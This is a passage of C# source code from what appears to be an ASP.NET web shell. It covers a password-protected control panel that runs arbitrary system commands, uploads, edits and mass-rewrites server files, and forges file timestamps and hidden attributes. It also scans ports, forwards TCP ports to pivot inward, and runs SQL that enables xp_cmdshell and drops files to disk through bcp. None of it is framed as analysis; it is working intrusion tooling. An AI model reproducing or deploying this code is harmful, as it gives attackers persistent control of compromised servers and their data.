  1520.         private byte[] lbuffer=new byte[2048];
  1521.         internal struct session
  1522.         {
  1523.             public Socket rdel;
  1524.             public Socket ldel;
  1525.         }
  1526.         public bool IsConnected{get{return ltcpClient.Connected&&rtcpClient.Connected;}}
  1527.         private IPEndPoint GetIPEndPoint(string host,int port)
  1528.         {
  1529.             try{
  1530.             IPEndPoint iep=null;
  1531.             IPAddress ipAddress=Dns.Resolve(host).AddressList[0];
  1532.             iep=new IPEndPoint(ipAddress,port);
  1533.             return iep;}catch{throw new Exception("Host not found.");}
  1534.         }
  1535.         public void Start(string Rip,int Rport,string lip,int lport)
  1536.         {
  1537.             LocalPort=lport;
  1538.             RemoteAddress=Rip;
  1539.             RemotePort=Rport;
  1540.             LocalAddress=lip;
  1541.             new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Rip,Rport).Demand();
  1542.             new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,lip,lport).Demand();
  1543.             rtcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1544.             ltcpClient=new Socket(AddressFamily.InterNetwork,SocketType.Stream,ProtocolType.Tcp);
  1545.             rtcpClient.BeginConnect(Rip,Rport,new AsyncCallback(OnRConnect),rtcpClient);
  1546.         }
  1547.         protected void OnRConnect(IAsyncResult ar)
  1548.         {
  1549.             try
  1550.             {
  1551.                 session mysession=new session();
  1552.                 mysession.ldel=ltcpClient;
  1553.                 mysession.rdel=rtcpClient;
  1554.                 ltcpClient.BeginConnect(LocalAddress,LocalPort,new AsyncCallback(OnLConnect),mysession);
  1555.             }catch{ }
  1556.         }
  1557.         protected void OnLConnect(IAsyncResult ar)
  1558.         {
  1559.             try
  1560.             {
  1561.                 session mysession=(session)ar.AsyncState;
  1562.                 ltcpClient.EndConnect(ar);
  1563.                 mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(OnRReceive),mysession);
  1564.                 mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(OnLReceive),mysession);
  1565.             }catch{ }
  1566.         }
  1567.         protected void OnRReceive(IAsyncResult ar)
  1568.         {
  1569.             try
  1570.             {
  1571.                 session mysession=(session)ar.AsyncState;
  1572.                 int Ret=mysession.rdel.EndReceive(ar);
  1573.                 if (Ret>0)
  1574.                     ltcpClient.BeginSend(rbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onlsend),mysession);
  1575.                 else Stop();
  1576.             }catch{ }
  1577.         }
  1578.         protected void onlsend(IAsyncResult ar)
  1579.         {
  1580.             try
  1581.             {
  1582.                 session mysession=(session)ar.AsyncState;
  1583.                 mysession.ldel.EndSend(ar);
  1584.                 mysession.rdel.BeginReceive(rbuffer,0,rbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnRReceive),mysession);
  1585.             }catch{ }
  1586.         }
  1587.         protected void OnLReceive(IAsyncResult ar)
  1588.         {
  1589.             try
  1590.             {
  1591.                 session mysession=(session)ar.AsyncState;
  1592.                 int Ret=mysession.ldel.EndReceive(ar);
  1593.  
  1594.                 if (Ret>0)
  1595.                     mysession.rdel.BeginSend(lbuffer,0,Ret,SocketFlags.None,new AsyncCallback(onrsend),mysession);
  1596.                 else Stop();
  1597.             }catch{ }
  1598.         }
  1599.         protected void onrsend(IAsyncResult ar)
  1600.         {
  1601.             try
  1602.             {
  1603.  
  1604.                 session mysession=(session)ar.AsyncState;
  1605.                 mysession.rdel.EndSend(ar);
  1606.                 mysession.ldel.BeginReceive(lbuffer,0,lbuffer.Length,SocketFlags.None,new AsyncCallback(this.OnLReceive),mysession);
  1607.             }catch{ }
  1608.         }
  1609.         public void Stop()
  1610.         {
  1611.             try
  1612.             {
  1613.                 if (ltcpClient!=null)
  1614.                 {
  1615.                     ltcpClient.Close();
  1616.                 }
  1617.                 if (rtcpClient!=null)
  1618.                     rtcpClient.Close();
  1619.             }
  1620.             catch{ }
  1621.         }
  1622.     }
  1623.     internal class ScanPort
  1624.     {
  1625.         public string ip="";
  1626.         public int port=0;
  1627.         public string status="Not scanned";
  1628.         public ScanPort(string ip,int port)
  1629.         {
  1630.             this.ip=ip;
  1631.             this.port=port;
  1632.         }
  1633.         public void Scan()
  1634.         {
  1635.             TcpClient tc=new TcpClient();
  1636.             try
  1637.             {
  1638.                 tc.Connect(ip,port);
  1639.                 tc.Close();
  1640.                 status="<font color=green><b>Open</b></font>";
  1641.             }
  1642.             catch
  1643.             {
  1644.                 status="<font color=red><b>Close</b></font>";
  1645.             }
  1646.         }
  1647.     }
  1648.     public static void JscriptSender(System.Web.UI.Page page)
  1649.     {
  1650.         page.RegisterHiddenField("__EVENTTARGET","");
  1651.         page.RegisterHiddenField("__FILE","");
  1652.         string s=@"<script language=Javascript>";
  1653.         s+=@"function Bin_PostBack(eventTarget,eventArgument)";
  1654.         s+=@"{";
  1655.         s+=@"var theform=document.forms[0];";
  1656.         s+=@"theform.__EVENTTARGET.value=eventTarget;";
  1657.         s+=@"theform.__FILE.value=eventArgument;";
  1658.         s+=@"theform.submit();theform.__EVENTTARGET.value="""";theform.__FILE.value=""""";
  1659.         s+=@"} ";
  1660.         s+=@"</scr"+"ipt>";
  1661.         page.RegisterStartupScript("",s);
  1662.     }
  1663.     protected void Bin_Search_Start(object sender,EventArgs e)
  1664.     {
  1665.         Hide_Div();
  1666.         Bin_Div_Search.Visible=true;
  1667.         Bin_H2_Title.InnerText="File Search >>";
  1668.         Bin_Search_Path.Value=Request.PhysicalApplicationPath;
  1669.         Bin_Table_Search.Visible=false;
  1670.     }
  1671.     protected void Bin_Button_Search_Click(object sender,EventArgs e)
  1672.     {
  1673.         try{
  1674.         DirectoryInfo Bin_dir=new DirectoryInfo(Bin_Search_Path.Value);
  1675.         if(!Bin_dir.Exists)
  1676.         {
  1677.             Bin_Msg("Path invalid ! ");
  1678.             return;
  1679.         }
  1680.         Bin_DoSearch(Bin_dir);
  1681.         Bin_Msg("Search completed ! ");}catch(Exception ex){zcg_ShowError(ex);}
  1682.     }
  1683.     private void Bin_DoSearch(DirectoryInfo dir)
  1684.     {
  1685.         try
  1686.         {
  1687.             Bin_Table_Search.Visible=true;
  1688.             foreach(FileInfo Bin_Files in dir.GetFiles())
  1689.             {
  1690.                 try
  1691.                 {
  1692.                     if(!Regex.IsMatch(Bin_Files.Extension.Replace(".",""),"^("+Bin_Search_Ext.Value+")$",RegexOptions.IgnoreCase))
  1693.                     {
  1694.                         continue;
  1695.                     }
  1696.                     if(Bin_Search_Mod.SelectedItem.Value=="name")
  1697.                     {
  1698.                         if(Bin_Search_UseReg.Checked)
  1699.                         {
  1700.                             if(Regex.IsMatch(Bin_Files.Name,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase))
  1701.                             {
  1702.                                 Bin_DoSearchLink(Bin_Files);
  1703.                             }
  1704.                         }
  1705.                         else
  1706.                         {
  1707.                             if(Bin_Files.Name.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1)
  1708.                             {
  1709.                                 Bin_DoSearchLink(Bin_Files);
  1710.                             }
  1711.                         }
  1712.                     }
  1713.                     else
  1714.                     {
  1715.                         StreamReader sr=new StreamReader(Bin_Files.FullName,Encoding.Default);
  1716.                         string filecontent=sr.ReadToEnd();
  1717.                         sr.Close();
  1718.                         if(Bin_Search_UseReg.Checked)
  1719.                         {
  1720.                             if(Regex.IsMatch(filecontent,Bin_TextArea_Search.Value,RegexOptions.IgnoreCase))
  1721.                             {
  1722.                                 Bin_DoSearchLink(Bin_Files);
  1723.                                 if(Bin_Search_Replace.Checked)
  1724.                                 {
  1725.                                     filecontent=Regex.Replace(filecontent,Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value,RegexOptions.IgnoreCase);
  1726.                                     StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1727.                                     sw.Write(filecontent);
  1728.                                     sw.Close();
  1729.                                 }
  1730.                             }
  1731.                         }
  1732.                         else
  1733.                         {
  1734.                             if(filecontent.ToLower().IndexOf(Bin_TextArea_Search.Value.ToLower())!=-1)
  1735.                             {
  1736.                                 Bin_DoSearchLink(Bin_Files);
  1737.                                 if(Bin_Search_Replace.Checked)
  1738.                                 {
  1739.                                     filecontent=filecontent.Replace(Bin_TextArea_Search.Value,Bin_TextArea_ReplaceAs.Value);
  1740.                                     StreamWriter sw=new StreamWriter(Bin_Files.FullName,false,Encoding.Default);
  1741.                                     sw.Write(filecontent);
  1742.                                     sw.Close();
  1743.                                 }
  1744.                             }
  1745.                         }
  1746.                     }
  1747.                 }
  1748.                 catch(Exception ex)
  1749.                 {
  1750.                     zcg_ShowError(ex);
  1751.                     continue;
  1752.                 }
  1753.             }
  1754.             foreach(DirectoryInfo subdir in dir.GetDirectories())
  1755.             {
  1756.                 Bin_DoSearch(subdir);
  1757.             }
  1758.         }
  1759.         catch(Exception ex)
  1760.         {
  1761.             zcg_ShowError(ex);
  1762.         }
  1763.     }
  1764.     private void Bin_DoSearchLink(FileInfo objfile)
  1765.     {
  1766.         TableRow tr=zcg_GetTableRow();
  1767.         TableCell tc=new TableCell();
  1768.         tc.Text="<a href=\"javascript:Bin_PostBack('Bin_DownFile','"+Bin_ToBase64(objfile.FullName)+"')\">"+objfile.FullName+"</a>";
  1769.         tr.Cells.Add(tc);
  1770.         tc=new TableCell();
  1771.         tc.Text=objfile.LastWriteTime.ToString();
  1772.         tr.Cells.Add(tc);
  1773.         tc=new TableCell();
  1774.         tc.Text=Bin_FileSize(objfile.Length);
  1775.         tr.Cells.Add(tc);
  1776.         Bin_Table_Search.Rows.Add(tr);
  1777.     }
  1778.     private void Bin_Msg(string instr)
  1779.     {
  1780.         Bin_Div_Msg.Visible=true;
  1781.         Bin_Div_Msg.InnerHtml="<pre><xmp>"+instr+"</xmp></pre>";
  1782.     }
  1783.     private void zcg_ShowError(Exception ex)
  1784.     {
  1785.         if(ex.InnerException==null){Bin_Msg(ex.Message);}else{Bin_Msg(ex.ToString());}
  1786.     }
  1787.     protected void Bin_Button_Login_Click(object sender,EventArgs e)
  1788.     {
  1789.         string MD5Pass=FormsAuthentication.HashPasswordForStoringInConfigFile(Bin_TextBox_Login.Text,"MD5").ToLower();
  1790.         if(MD5Pass==Password)
  1791.         {
  1792.             Response.Cookies.Add(new HttpCookie(Version,Password));
  1793.             Bin_Div_Login.Visible=false;
  1794.             Bin_Main();
  1795.         }
  1796.         else
  1797.         {
  1798.             Bin_Login();
  1799.         }
  1800.     }
  1801.     protected void Bin_Button_File_Click(object sender,EventArgs e)
  1802.     {
  1803.         Bin_File(Server.MapPath("."));
  1804.     }
  1805.     protected void Bin_Button_IISspy_Click(object sender,EventArgs e)
  1806.     {
  1807.         Bin_H2_Title.InnerText="IIS Spy >>";
  1808.         Hide_Div();
  1809.         Bin_Div_IISSpy.Visible=true;
  1810.         Bin_Table_IISSpy.Style.Add("word-break","break-all");
  1811.         try{Bin_WMI_IISSpy();}catch{try{Bin_IISSpy();}catch(Exception ex){zcg_ShowError(ex);}}
  1812.     }
  1813.     protected void Bin_Button_Save_Click(object sender,EventArgs e)
  1814.     {
  1815.         try
  1816.         {
  1817.             StreamWriter sw;
  1818.             if(Bin_List_Code.SelectedItem.Text=="UTF-8")
  1819.             {
  1820.                 sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.UTF8);
  1821.             }
  1822.             else
  1823.             {
  1824.                 sw=new StreamWriter(Bin_TextBox_Fp.Value,false,Encoding.Default);
  1825.             }
  1826.             sw.Write(Bin_Textarea_Edit.InnerText);
  1827.             sw.Close();
  1828.             Bin_Msg("Save file success !");
  1829.         }
  1830.         catch(Exception error)
  1831.         {
  1832.             zcg_ShowError(error);
  1833.         }
  1834.         Bin_File(Bin_TextBox_Path.Value);
  1835.     }
  1836.     protected void Bin_Button_Upload_Click(object sender,EventArgs e)
  1837.     {
  1838.         string uppath=Bin_TextBox_Path.Value;
  1839.         uppath=Bin_PathBuild(uppath);
  1840.         try
  1841.         {
  1842.             if(Bin_Lable_File.PostedFile.FileName==""){Bin_Msg("No file to upload");}
  1843.             else{Bin_Lable_File.PostedFile.SaveAs(uppath+Path.GetFileName(Bin_Lable_File.Value));Bin_Msg("File upload success!");}
  1844.         }
  1845.         catch(Exception error)
  1846.         {
  1847.             zcg_ShowError(error);
  1848.         }
  1849.         Bin_File(Bin_TextBox_Path.Value);
  1850.     }
  1851.     protected void Bin_Button_Go_Click(object sender,EventArgs e)
  1852.     {
  1853.         Bin_File(Bin_TextBox_Path.Value);
  1854.     }
  1855.     protected void Bin_Button_WebRoot_Click(object sender,EventArgs e)
  1856.     {
  1857.         Bin_File(Server.MapPath("."));
  1858.     }
  1859.     protected void Bin_Button_Clone_Click(object sender,EventArgs e)
  1860.     {
  1861.         try
  1862.         {
  1863.             File.SetCreationTimeUtc(Bin_TextBox_Sp.Value,File.GetCreationTimeUtc(Bin_TextBox_Dp.Value));
  1864.             File.SetLastAccessTimeUtc(Bin_TextBox_Sp.Value,File.GetLastAccessTimeUtc(Bin_TextBox_Dp.Value));
  1865.             File.SetLastWriteTimeUtc(Bin_TextBox_Sp.Value,File.GetLastWriteTimeUtc(Bin_TextBox_Dp.Value));
  1866.             Bin_Msg("File time clone success!");
  1867.         }
  1868.         catch(Exception error)
  1869.         {
  1870.             zcg_ShowError(error);
  1871.         }
  1872.         Bin_File(Bin_TextBox_Path.Value);
  1873.     }
  1874.     protected void Bin_Button_Att_Click(object sender,EventArgs e)
  1875.     {
  1876.         string path=Bin_TextBox_Sp1.Value;
  1877.         try
  1878.         {
  1879.             File.SetAttributes(path,FileAttributes.Normal);
  1880.             if(Bin_CheckBox_ReadOnly.Checked)
  1881.             {
  1882.                 File.SetAttributes(path,FileAttributes.ReadOnly);
  1883.             }
  1884.             if(Bin_CheckBox_System.Checked)
  1885.             {
  1886.                 File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.System);
  1887.             }
  1888.             if(Bin_CheckBox_Hiddent.Checked)
  1889.             {
  1890.                 File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Hidden);
  1891.             }
  1892.             if(Bin_CheckBox_Archive.Checked)
  1893.             {
  1894.                 File.SetAttributes(path,File.GetAttributes(path)| FileAttributes.Archive);
  1895.             }
  1896.             File.SetCreationTimeUtc(path,Convert.ToDateTime(Bin_TextBox_Creation.Value));
  1897.             File.SetLastAccessTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastAccess.Value));
  1898.             File.SetLastWriteTimeUtc(path,Convert.ToDateTime(Bin_TextBox_LastWrite.Value));
  1899.             Bin_Msg("File attributes modify success!");
  1900.         }
  1901.         catch(Exception error)
  1902.         {
  1903.             zcg_ShowError(error);
  1904.         }
  1905.         Bin_File(Bin_TextBox_Path.Value);
  1906.     }
  1907.     protected void Bin_Button_Cmd_Click(object sender,EventArgs e)
  1908.     {
  1909.         Hide_Div();
  1910.         Bin_Div_Cmd.Visible=true;
  1911.         Bin_H2_Title.InnerText="Execute Command >>";
  1912.     }
  1913.     protected void Bin_Button_CmdExec_Click(object sender,EventArgs e)
  1914.     {
  1915.         try{zcg_ExecCmd();}
  1916.         catch(Exception ex){zcg_ShowError(ex);}
  1917.     }
  1918.     private void zcg_ExecCmd()
  1919.     {
  1920.         try
  1921.         {
  1922.             Process Cmdpro=new Process();
  1923.             Cmdpro.StartInfo.FileName=Bin_TextBox_CmdPath.Value;
  1924.             Cmdpro.StartInfo.Arguments=Bin_TextBox_CmdArg.Value;
  1925.             Cmdpro.StartInfo.UseShellExecute=false;
  1926.             Cmdpro.StartInfo.RedirectStandardInput=true;
  1927.             Cmdpro.StartInfo.RedirectStandardOutput=true;
  1928.             Cmdpro.StartInfo.RedirectStandardError=true;
  1929.             Cmdpro.Start();
  1930.             string cmdstr=Cmdpro.StandardOutput.ReadToEnd();
  1931.             cmdstr+=Cmdpro.StandardError.ReadToEnd();
  1932.             Bin_Div_CmdRes.Visible=true;
  1933.             Bin_Div_CmdRes.InnerHtml="<hr width=\"100%\" noshade/><pre><xmp>"+cmdstr+"</xmp></pre>";
  1934.         }
  1935.         catch(Exception error)
  1936.         {
  1937.             zcg_ShowError(error);
  1938.         }
  1939.     }
  1940.     protected void Bin_Bin_RegreadButton_Click(object sender,EventArgs e)
  1941.     {
  1942.         if(Bin_Text_Regread.Text.Length>0)
  1943.         {
  1944.             Bin_ShowReg(Bin_Text_Regread.Text);
  1945.         }
  1946.         else
  1947.         {
  1948.             RegInit();
  1949.         }
  1950.     }
  1951.     protected void Bin_Button_Process_Click(object sender,EventArgs e)
  1952.     {
  1953.         zcg_ProcessHeader();
  1954.         try{Bin_Wmi_GetProcess();}catch{try{Bin_GetProcess();}catch(Exception ex){zcg_ShowError(ex);}}
  1955.     }
  1956.     private void zcg_ProcessHeader()
  1957.     {
  1958.         Bin_H2_Title.InnerText="Process >>";
  1959.         Hide_Div();
  1960.         Bin_Div_Process.Visible=true;
  1961.     }
  1962.     protected void Bin_Button_Services_Click(object sender,EventArgs e)
  1963.     {
  1964.         Bin_H2_Title.InnerText="Services >>";
  1965.         Hide_Div();
  1966.         Bin_Div_Services.Visible=true;
  1967.         try{Bin_Wmi_GetServices();}catch{try{Bin_GetServices();}catch(Exception ex){zcg_ShowError(ex);}}
  1968.     }
  1969.     protected void Bin_Button_Sysinfo_Click(object sender,EventArgs e)
  1970.     {
  1971.         Bin_Sysinfo();
  1972.     }
  1973.     protected void Bin_Button_Userinfo_Click(object sender,EventArgs e)
  1974.     {
  1975.         Hide_Div();
  1976.         Bin_Div_Userinfo.Visible=true;
  1977.         Bin_H2_Title.InnerText="User Information >>";
  1978.         try{Bin_Wmi_UserInfo();}catch{try{Bin_UserInfo();}catch(Exception ex){zcg_ShowError(ex);}}
  1979.     }
  1980.     protected void Bin_Button_Reg_Click(object sender,EventArgs e)
  1981.     {
  1982.         Bin_Reg();
  1983.     }
  1984.     protected void Bin_Button_DB_Click(object sender,EventArgs e)
  1985.     {
  1986.         Bin_DataBase();
  1987.     }
  1988.     protected void Bin_List_SelectedIndexChanged(object sender,EventArgs e)
  1989.     {
  1990.         switch(((Control)sender).ID.ToString())
  1991.         {
  1992.             case "Bin_List_Connstr":
  1993.                 Bin_Div_DBPanel.Visible=false;
  1994.                 Bin_TextBox_ConnStr.Text=Bin_List_Connstr.SelectedItem.Value.ToString();
  1995.                 break;
  1996.             case "Bin_Button_Show":
  1997.             case "Bin_List_DB":
  1998.                 Bin_DataBind();
  1999.                 break;
  2000.             case "Bin_List_Exec":
  2001.                 string selectstr=Bin_List_Exec.SelectedItem.Value.ToString();
  2002.                 if (selectstr == "SA_Upfile")
  2003.                 {
  2004.                     Bin_Div_saupfile.Visible=true;
  2005.                 }
  2006.                 else if (selectstr == "FileCopy")
  2007.                 {
  2008.                     Bin_Div_CopyFile.Visible = true;
  2009.                 }
  2010.                 else
  2011.                 {
  2012.                     Bin_Textarea_Query.InnerText = selectstr;
  2013.                 }
  2014.                 break;
  2015.             case "Bin_List_Code":
  2016.                 Bin_CreateFile(Bin_TextBox_Fp.Value);
  2017.                 break;
  2018.         }
  2019.     }
  2020.     protected void Bin_Button_Back_Click(object sender,EventArgs e)
  2021.     {
  2022.         Bin_File(Bin_TextBox_Path.Value);
  2023.     }
  2024.     protected void Bin_Button_Conn_Click(object sender,EventArgs e)
  2025.     {
  2026.         Bin_Newconn();
  2027.     }
  2028.     protected void Bin_Button_PortScan_Click(object sender,EventArgs e)
  2029.     {
  2030.         Bin_PortScan();
  2031.     }
  2032.     protected void Bin_Button_PortMap_Click(object sender,EventArgs e)
  2033.     {
  2034.         Bin_PortMap();
  2035.     }
  2036.     protected void Bin_Button_WmiTools_Click(object sender, EventArgs e)
  2037.     {
  2038.         Bin_WmiTools();
  2039.     }
  2040.     protected void zcg_btnListPM_Click(object sender,EventArgs e)
  2041.     {
  2042.         try{
  2043.         if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2044.         {
  2045.             Bin_Msg("List is empty.");
  2046.         }else{
  2047.         zcg_tbl_PMList.Visible=true;
  2048.         Hashtable ht=Session[PMCacheName] as Hashtable;
  2049.         int count=0,connected=0,closed=0;
  2050.         foreach(DictionaryEntry de in ht)
  2051.             {
  2052.                 PortForward pf=de.Value as PortForward;
  2053.                 if(pf!=null){
  2054.                 count++;
  2055.                 TableRow tr=zcg_GetTableRow();
  2056.                 TableCell tc=new TableCell();
  2057.                 tc.Text=de.Key.ToString();
  2058.                 tr.Cells.Add(tc);
  2059.                 tc=new TableCell();
  2060.                 tc.Text=string.Format("{0}:{1}",pf.RemoteAddress,pf.RemotePort);
  2061.                 tr.Cells.Add(tc);
  2062.                 tc=new TableCell();
  2063.                 tc.Text=string.Format("{0}:{1}",pf.LocalAddress,pf.LocalPort);
  2064.                 tr.Cells.Add(tc);
  2065.                 tc=new TableCell();
  2066.                 if(pf.IsConnected){tc.Text="Connected";connected++;}
  2067.                 else{tc.Text="Closed";closed++;}
  2068.                 tr.Cells.Add(tc);
  2069.                 tc=new TableCell();
  2070.                 tc.Text="<a href=\"javascript:Bin_PostBack('zcg_ClosePM','"+Bin_ToBase64(de.Key.ToString())+"')\">Close</a>";
  2071.                 tr.Cells.Add(tc);
  2072.                 zcg_tbl_PMList.Rows.Add(tr);}
  2073.             }if(count==0){Bin_Msg("List is empty.");}else{Bin_Msg(string.Format("Total {0} PortMap(s) cached ,{1} Connected ,{2} Closed",count,connected,closed));}
  2074.         }
  2075.         }catch(Exception ex){zcg_ShowError(ex);}
  2076.     }
  2077.     private void zcg_ClosePM(string id)
  2078.     {
  2079.         if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2080.         {
  2081.             Bin_Msg("List is empty.");
  2082.         }else{
  2083.         Hashtable ht=Session[PMCacheName] as Hashtable;
  2084.         PortForward pf=ht[id] as PortForward;
  2085.         if(pf!=null){pf.Stop();ht.Remove(id);}
  2086.         zcg_btnListPM_Click(null,null);Bin_Msg("PortMap of ID:"+id+" Closeed.");
  2087.         }
  2088.     }
  2089.     protected void zcg_btnClearPM_Click(object sender,EventArgs e)
  2090.     {
  2091.         if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2092.         {
  2093.             Bin_Msg("List is empty.");
  2094.         }else{
  2095.         Hashtable ht=Session[PMCacheName] as Hashtable;
  2096.         foreach(DictionaryEntry de in ht)
  2097.             {
  2098.                 PortForward pf=de.Value as PortForward;
  2099.                 if(pf!=null){pf.Stop();}
  2100.             }
  2101.         ht.Clear();Bin_Msg("All PortMap(s) closed");
  2102.         }
  2103.     }
  2104.     protected void Bin_Button_MapPort_Click(object sender,EventArgs e)
  2105.     {
  2106.         try{
  2107.         if(Bin_TextBox_Lport.Value=="" || Bin_TextBox_Lip.Value.Length<7 || Bin_TextBox_Rport.Value=="")return;
  2108.         int rport=int.Parse(Bin_TextBox_Rport.Value);
  2109.         int lport=int.Parse(Bin_TextBox_Lport.Value);
  2110.         PortForward pf=new PortForward();
  2111.         pf.Start(Bin_TextBox_Rip.Value,rport,Bin_TextBox_Lip.Value,lport);
  2112.         if(Session[PMCacheName]==null||!(Session[PMCacheName] is Hashtable))
  2113.         {
  2114.             try{Session[PMCacheName]=new Hashtable();}catch{Bin_Msg("Session not enable,List while unavailable");}
  2115.         }
  2116.         string s=Guid.NewGuid().ToString();
  2117.         Hashtable ht=Session[PMCacheName] as Hashtable;
  2118.         ht[s]=pf;
  2119.         Bin_Msg(String.Format("PortMap of ID: {0} Started.",s));
  2120.         }catch(Exception ex){zcg_ShowError(ex);}
  2121.     }
  2122.     protected void Bin_Button_Scan_Click(object sender,EventArgs e)
  2123.     {
  2124.         ArrayList ScanResults=new ArrayList();
  2125.         try
  2126.         {
  2127.             new SocketPermission(NetworkAccess.Connect,TransportType.Tcp,Bin_TextBox_Sip.Text,-1).Demand();
  2128.             string[] ports=Bin_TextBox_Sport.Text.Split(',');
  2129.             for(int i=0;i<ports.Length;i++)
  2130.             {
  2131.                 int p=0;
  2132.                 if(Int32.TryParse(ports[i],out p)){ScanResults.Add(new ScanPort(Bin_TextBox_Sip.Text,p));}
  2133.             }
  2134.             Thread[] lThreads=new Thread[ScanResults.Count];
  2135.             int idx=0;
  2136.             for(idx=0;idx<ScanResults.Count;idx++)
  2137.             {
  2138.                 lThreads[idx]=new Thread(new ThreadStart(((ScanPort)ScanResults[idx]).Scan));
  2139.                 lThreads[idx].Start();
  2140.             }
  2141.             for(idx=0;idx<lThreads.Length;idx++){lThreads[idx].Join();}
  2142.         }
  2143.         catch(SocketException){Bin_Msg("Host not found.");}
  2144.         catch(Exception ex){zcg_ShowError(ex);}
  2145.         Bin_Label_Scanres.Visible=true;
  2146.         string res="";
  2147.         foreach(ScanPort th in ScanResults){res+=th.ip+" : "+th.port+" ................................. "+th.status+"<br>";}
  2148.         Bin_Label_Scanres.InnerHtml=res;
  2149.     }
  2150.     protected void Bin_Button_Query_Click(object sender,EventArgs e)
  2151.     {
  2152.         Bin_Button_Export.Visible=true;
  2153.         Bin_ExecBind();
  2154.     }
  2155.     protected void Bin_Button_Export_Click(object sender,EventArgs e)
  2156.     {
  2157.         try
  2158.         {
  2159.             OpenConnection();
  2160.             if(Bin_List_Connstr.SelectedItem.Text=="MSSQL")
  2161.             {
  2162.                 if(Bin_List_DB.SelectedItem.Value!="")
  2163.                 {
  2164.                     conn.ChangeDatabase(Bin_List_DB.SelectedItem.Value.ToString());
  2165.                 }
  2166.             }
  2167.             DataTable dt=Bin_DataTable(Bin_Textarea_Query.InnerText);
  2168.             string fname="Query.xls";
  2169.             Match mat=Regex.Match(Bin_Textarea_Query.InnerText,@"(?<= from \[?)[\w.]+");
  2170.             if (mat.Success)
  2171.             {
  2172.                 fname=mat.Value+".xls";
  2173.             }
  2174.             if (dt.Columns.Count>0)
  2175.             {
  2176.                 Response.AddHeader("Content-Disposition","attachment;filename="+fname);
  2177.                 Response.ContentType="application/ms-excel";
  2178.                 {
  2179.                     Response.Write("<table border=1><tr>\r\n");
  2180.                     foreach(DataColumn subcol in dt.Columns)
  2181.                     {
  2182.                         Response.Write("<td><b>"+subcol.ColumnName+"</b></td>");
  2183.                     }
  2184.                     Response.Write("</tr>");
  2185.                     foreach(DataRow subrow in dt.Rows)
  2186.                     {
  2187.                         Response.Write("<tr>");
  2188.                         for (int i=0;i<subrow.ItemArray.Length;i++)
  2189.                         {
  2190.                             Response.Write("<td>"+subrow.ItemArray[i].ToString()+"</td>");
  2191.                         }
  2192.                         Response.Write("</tr>");
  2193.                     }
  2194.                     Response.Write("</table>\r\n");
  2195.                 }
  2196.                 Response.End();
  2197.             }
  2198.             else{Bin_Msg("No data!");}
  2199.         }
  2200.         catch (Exception ex){zcg_ShowError(ex);}
  2201.     }
  2202.     protected void Bin_Button_SaUpfile_Click(object sender, EventArgs e)
  2203.     {
  2204.         Bin_Div_saupfile.Visible=true;
  2205.         Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp");
  2206.         Bin_ExecSql("IF OBJECT_ID('bin_temp')IS NOT NULL DROP TABLE bin_temp");
  2207.         string strfrm="8.0|1|1       SQLIMAGE      0       0       \"\"                        1     safile     \"\"";
  2208.         Bin_ExecSql("CREATE TABLE bin_temp(safile image)");
  2209.         Byte[] b = new byte[Bin_TextBox_SaFile.PostedFile.InputStream.Length];
  2210.         Stream i = Bin_TextBox_SaFile.PostedFile.InputStream;
  2211.         i.Read(b, 0, b.Length);
  2212.         try
  2213.         {
  2214.             OpenConnection();
  2215.             string db = conn.Database;
  2216.             comm.CommandText = "insert into [bin_temp] values(@P1);";
  2217.             DbParameter dp=new SqlParameter("@P1", SqlDbType.Image);
  2218.             dp.Value = b;
  2219.             comm.Parameters.Add(dp);
  2220.             comm.ExecuteNonQuery();
  2221.             string verstr = Bin_DataTable(@"SELECT @@VERSION").Rows[0][0].ToString();
  2222.             if (verstr.IndexOf("2005") > 0)
  2223.             {
  2224.                 strfrm.Replace("8.0", "9.0");
  2225.                 Bin_ExecSql("EXEC master..sp_configure 'show advanced options', 1;RECONFIGURE;EXEC master..sp_configure 'xp_cmdshell', 1;RECONFIGURE;");
  2226.             }
  2227.             string[] arrfrm = strfrm.Split('|');
  2228.             foreach (string substrfrm in arrfrm)
  2229.             {
  2230.                 Bin_ExecSql("EXEC master..xp_cmdshell 'echo " + substrfrm + " >> c:\\windows\\temp\\tmp.fmt'");
  2231.             }
  2232.             Bin_ExecSql("exec master..xp_cmdshell'bcp \"select safile from " + db + "..bin_temp\" queryout \"" + Bin_TextBox_SavePath.Value + "\" -T -f c:\\windows\\temp\\tmp.fmt'");
  2233.             Bin_ExecSql("If object_id('bin_temp')is not null drop table bin_temp");
  2234.             Bin_ExecSql("EXECUTE master..xp_cmdshell 'del c:\\windows\\temp\\tmp.fmt'");
  2235.             string res = Bin_DataTable("EXECUTE master..xp_fileexist '" + Bin_TextBox_SavePath.Value + "'").Rows[0][0].ToString();
  2236.             if (res == "1")
  2237.             {
  2238.                 Bin_Msg("File uploaded,Good Luck!");
  2239.             }
  2240.             else{Bin_Msg("Upload failed,Sorry!");}
  2241.            
  2242.         }
  2243.         catch (Exception ex)
  2244.         {
  2245.             zcg_ShowError(ex);
  2246.         }              
  2247.     }
  2248.  
  2249.     protected void Bin_Button_CabCopy_Click(object sender, EventArgs e)
  2250.     {
  2251.         Bin_Div_CopyFile.Visible = true;
  2252.         try
  2253.         {
  2254.             IDictionary dic = Environment.GetEnvironmentVariables();
  2255.             string tmppath = dic["TMP"].ToString();
